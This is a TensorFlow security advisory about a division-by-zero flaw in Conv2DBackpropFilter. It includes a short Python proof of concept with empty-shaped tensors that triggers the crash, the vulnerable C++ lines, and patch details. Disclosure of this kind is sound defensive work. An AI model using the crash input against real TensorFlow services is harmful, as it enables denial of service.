Summary
Division by zero in `Conv2DBackpropFilter`
Details

Impact

An attacker can cause a division by zero to occur in Conv2DBackpropFilter:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 1, 1, 1],
  use_cudnn_on_gpu=False,
  padding='SAME',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)

This is because the implementation computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments):

const size_t size_A = output_image_size * filter_total_size; 
const size_t size_B = output_image_size * dims.out_depth;
const size_t size_C = filter_total_size * dims.out_depth;
const size_t work_unit_size = size_A + size_B + size_C;
const size_t shard_size = (target_working_set_size + work_unit_size - 1) / work_unit_size;

If all shapes are empty then work_unit_size is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
